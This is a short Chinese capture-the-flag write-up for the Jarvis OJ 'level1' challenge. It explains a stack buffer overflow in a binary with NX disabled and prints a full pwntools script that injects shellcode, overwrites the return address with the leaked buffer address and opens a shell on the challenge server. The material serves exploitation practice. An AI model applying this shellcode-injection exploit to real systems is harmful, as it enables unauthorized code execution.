jarvis oj level1
阿新 • • 發佈:2018-12-22
還是先checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
發現數據部分可以執行,先看ida,同樣是vulnerable處有棧溢位漏洞,同時程式洩露了buf緩衝區的地址,因此我們考慮將shellcode寫入資料部分,然後將返回地址修改為shellcode的地址。
構造payload=shellcode+padding+地址,指令碼如下:
from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9877)
e=ELF("level1")
shel=asm(shellcraft.sh())
t=p.recvline()
buf_addr=t[14:-2] #獲取buf地址
print(buf_addr)
payload=shel+'a'*(0x88+0x4-len(shel))+p32(int(buf_addr,16))
p.send(payload)
p.interactive()
p.close()
幾個收穫:
瞭解pwntools的構造shellcode方法,在nx未開啟時的pwn方法。